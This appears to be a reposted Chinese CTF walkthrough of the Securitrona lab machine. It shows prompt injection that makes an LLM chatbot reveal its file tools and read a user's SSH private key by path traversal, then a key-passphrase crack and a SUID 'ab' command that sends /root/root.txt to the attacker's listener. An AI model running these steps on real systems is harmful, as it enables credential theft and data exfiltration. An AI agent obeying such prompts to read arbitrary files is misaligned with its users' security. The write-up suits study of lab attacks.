标签 Path Traversal 下的文章

The Hackers Labs-Securitrona 前言 本文档记录了针对The Hackers Labs平台Securitrona靶机的渗透测试全过程,涉及的漏洞类型:LLM提示词注入、路径遍历、SUID权限滥用。目标系统为运行Debian 12的Linux主机,部署了基于Node.js的LLM聊天机器人应用,该应用集成了文件系统操作工具(read_file、write_file、list_files)。测试过程中发现的主要漏洞包括:LLM Agent工具调用层面的路径遍历漏洞,允许通过构造恶意filepath参数读取任意系统文件;SSH私钥使用弱口令保护,可通过字典攻击在合理时间内破解;系统存在SUID权限配置不当,/usr/bin/ab被赋予SUID位,可被利用读取特权文件。攻击链路为:网络侦察(ARP扫描、Nmap端口扫描与服务识别)→ Web应用分析(识别3000端口LLM服务)→ 提示词注入攻击(诱导AI泄露工具信息并执行路径遍历)→ 敏感信息窃取(获取~/.ssh/id_rsa)→ 离线密码破解(ssh2john + John the Ripper)→ SSH远程登录 → SUID提权(ab命令文件外传)。测试环境:攻击机Kali Linux(192.168.56.130),目标机Securitrona(192.168.56.144),网络环境为VirtualBox Host-Only网络。 主机发现

(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# sudo arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:f0:fb:8a, IPv4: 192.168.56.130
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0c (Unknown: locally administered)
192.168.56.100 08:00:27:5a:74:44 PCS Systemtechnik GmbH
192.168.56.144 08:00:27:93:0d:e5 PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.063 seconds (124.09 hosts/sec). 3 responded

端口扫描

(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# nmap -p- --open -Pn -n --min-rate 10000 192.168.56.144 -oN ports.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-13 15:14 +0800
Nmap scan report for 192.168.56.144
Host is up (0.00044s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
MAC Address: 08:00:27:93:0D:E5 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.56 seconds
(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# nmap -p 22,80,3000 -sCV -Pn -n 192.168.56.144
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-13 15:14 +0800
Nmap scan report for 192.168.56.144
Host is up (0.00047s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey:
| 256 c0:14:af:ad:a9:67:50:e3:9a:23:d9:29:2e:14:ec:42 (ECDSA)
|_ 256 fa:a3:d3:9b:df:ba:58:49:9e:5d:54:d4:fa:e8:36:bf (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: SECURITRONA - Hacker Cibern\xC3\xA9tica
|_http-server-header: Apache/2.4.62 (Debian)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| X-Content-Type-Options: nosniff
| X-Frame-Options: DENY
| X-XSS-Protection: 1; mode=block
| Referrer-Policy: strict-origin-when-cross-origin
| Accept-Ranges: bytes
| Cache-Control: public, max-age=0
| Last-Modified: Thu, 26 Jun 2025 23:03:48 GMT
| ETag: W/"fa7-197ae7ba420"
| Content-Type: text/html; charset=UTF-8
| Content-Length: 4007
| Date: Tue, 13 Jan 2026 07:15:03 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="es">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Securitrona - Black Hacker Peligrosa</title>

| <link rel="stylesheet" href="styles.css">
| <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
| <script src="/socket.io/socket.io.js"></script>

| <script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>

| </head>

| <bod
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| X-Content-Type-Options: nosniff
| X-Frame-Options: DENY
| X-XSS-Protection: 1; mode=block
| Referrer-Policy: strict-origin-when-cross-origin
| Content-Type: application/json; charset=utf-8
| Content-Length: 30
| ETag: W/"1e-vhoou9sM6XmJtOZWC9/edTTWHh8"
| Date: Tue, 13 Jan 2026 07:15:04 GMT
| Connection: close
| {"error":"Ruta no encontrada"}
| Help, NCP:
| HTTP/1.1 400 Bad Request
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.98%I=7%D=1/13%Time=6965F0FD%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,113C,"HTTP/1\.1\x20200\x20OK\r\nX-Content-Type-Options:\x20nos
SF:niff\r\nX-Frame-Options:\x20DENY\r\nX-XSS-Protection:\x201;\x20mode=blo
SF:ck\r\nReferrer-Policy:\x20strict-origin-when-cross-origin\r\nAccept-Ran
SF:ges:\x20bytes\r\nCache-Control:\x20public,\x20max-age=0\r\nLast-Modifie
SF:d:\x20Thu,\x2026\x20Jun\x202025\x2023:03:48\x20GMT\r\nETag:\x20W/\"fa7-
SF:197ae7ba420\"\r\nContent-Type:\x20text/html;\x20charset=UTF-8\r\nConten
SF:t-Length:\x204007\r\nDate:\x20Tue,\x2013\x20Jan\x202026\x2007:15:03\x20
SF:GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"
SF:es\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x2
SF:0\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20ini
SF:tial-scale=1\.0\">\n\x20\x20\x20\x20<title>Securitrona\x20-\x20Black\x2
SF:0Hacker\x20Peligrosa</title>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet
SF:\"\x20href=\"styles\.css\">\n\x20\x20\x20\x20<link\x20href=\"https://cd
SF:njs\.cloudflare\.com/ajax/libs/font-awesome/6\.0\.0/css/all\.min\.css\"
SF:\x20rel=\"stylesheet\">\n\x20\x20\x20\x20<script\x20src=\"/socket\.io/s
SF:ocket\.io\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"https://cdn
SF:\.jsdelivr\.net/npm/marked/marked\.min\.js\"></script>\n</head>\n<bod")
SF:%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\
SF:r\n\r\n")%r(NCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(HTTPOptions,168,"HTTP/1\.1\x20404\x20Not\x20Found\r
SF:\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r\nX-X
SF:SS-Protection:\x201;\x20mode=block\r\nReferrer-Policy:\x20strict-origin
SF:-when-cross-origin\r\nContent-Type:\x20application/json;\x20charset=utf
SF:-8\r\nContent-Length:\x2030\r\nETag:\x20W/\"1e-vhoou9sM6XmJtOZWC9/edTTW
SF:Hh8\"\r\nDate:\x20Tue,\x2013\x20Jan\x202026\x2007:15:04\x20GMT\r\nConne
SF:ction:\x20close\r\n\r\n{\"error\":\"Ruta\x20no\x20encontrada\"}")%r(RTS
SF:PRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\nX-Content-Type-Option
SF:s:\x20nosniff\r\nX-Frame-Options:\x20DENY\r\nX-XSS-Protection:\x201;\x2
SF:0mode=block\r\nReferrer-Policy:\x20strict-origin-when-cross-origin\r\nC
SF:ontent-Type:\x20application/json;\x20charset=utf-8\r\nContent-Length:\x
SF:2030\r\nETag:\x20W/\"1e-vhoou9sM6XmJtOZWC9/edTTWHh8\"\r\nDate:\x20Tue,\
SF:x2013\x20Jan\x202026\x2007:15:04\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:{\"error\":\"Ruta\x20no\x20encontrada\"}");
MAC Address: 08:00:27:93:0D:E5 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.42 seconds

发现三个开放端口: 22/SSH: OpenSSH服务 80/HTTP: Apache Web服务器 3000/HTTP: 未知Web应用 访问80端口发现是一个关于"Securitrona"的介绍页面,包含大量LLM工具和扩展的参考链接。 LLM提示词注入 访问 http://192.168.56.144:3000/ 发现一个聊天机器人界面: 左侧是与AI对话的聊天窗口 右侧是文件列表,可以下载部分文件 AI自称"Securitrona",是一个"黑帽黑客"角色

LLM Agent通常会配备一些工具(Tools)来执行特定任务。我们可以直接询问AI它有哪些可用工具: Prompt:

AI响应揭示了三个工具:

工具名称
功能
参数
read_file
读取文件内容
filepath: 文件路径
write_file
写入文件内容
filepath: 文件路径,content: 内容
list_files
列出files目录内容
无参数

这些工具是AI代理与文件系统交互的接口,也是潜在的攻击面。 read_file工具存在路径遍历漏洞: 该工具没有正确验证输入的文件路径 没有对可访问的目录进行适当隔离 允许使用../进行目录遍历 首先,我们可以尝试读取一个不存在的文件来触发错误,从而泄露服务器路径: Prompt:

错误信息会泄露files目录的完整路径,例如:

这告诉我们: 用户名是 securitrona 应用位于 /home/securitrona/chatbot/ files目录是 /home/securitrona/chatbot/files/ 知道了用户名和目录结构,我们可以尝试读取SSH私钥: Prompt(关键攻击载荷):

路径解析:

AI响应中的私钥可能会被截断显示。有几种方法获取完整内容: 通过WebSocket获取 抓包

整理一下

私钥爆破 获取的私钥是加密的,需要passphrase才能使用。 设置正确权限,转换为John格式,使用John破解

SSH连接

提权

发现: /usr/bin/ab 具有SUID权限 ab(Apache Benchmark)是Apache HTTP服务器的性能测试工具。 根据GTFOBins,当ab具有SUID权限时,可以用于: 读取特权文件(通过POST请求发送文件内容) 无法直接提权到root shell 在攻击机上设置监听

在目标机上使用ab发送root flag

参数说明: -p: 指定要POST的文件 /root/root.txt: 要读取的特权文件 http://攻击机IP:8000/onepath: 接收数据的地址 nc会收到包含root flag的POST请求内容。

总结 本次渗透测试成功获取了目标系统的root flag,完整攻击路径如下:通过arp-scan发现目标主机192.168.56.144,Nmap扫描识别出22/tcp(OpenSSH 9.2p1)、80/tcp(Apache 2.4.62)、3000/tcp(Node.js Web应用)三个开放端口。3000端口运行的LLM聊天机器人存在提示词注入漏洞,通过构造西班牙语提示词成功获取AI的工具列表,确认其具备read_file、write_file、list_files三个文件操作工具。read_file工具未对filepath参数进行路径规范化处理,存在目录遍历漏洞,通过发送../../.ssh/id_rsa作为filepath参数,成功读取用户securitrona的SSH私钥。私钥采用aes256-ctr加密,使用ssh2john提取哈希后,通过John the Ripper配合rockyou.txt字典破解得到passphrase为147852369。使用该私钥成功SSH登录目标系统获取user shell。本地提权阶段,通过find / -perm -4000枚举SUID文件,发现/usr/bin/ab具有SUID权限。利用ab的-p参数可指定POST请求体文件的特性,执行ab -p /root/root.txt http://192.168.56.130:8000/将root.txt内容外传至攻击机监听端口,成功获取root flag。

继硬编码凭据之后的另一个高分漏洞,获得 9.9 的高分,高于硬编码凭据 9.8


上一个硬编码凭据漏洞


📌 转载信息
原作者:
vxtls
转载时间:
2026/1/8 12:13:52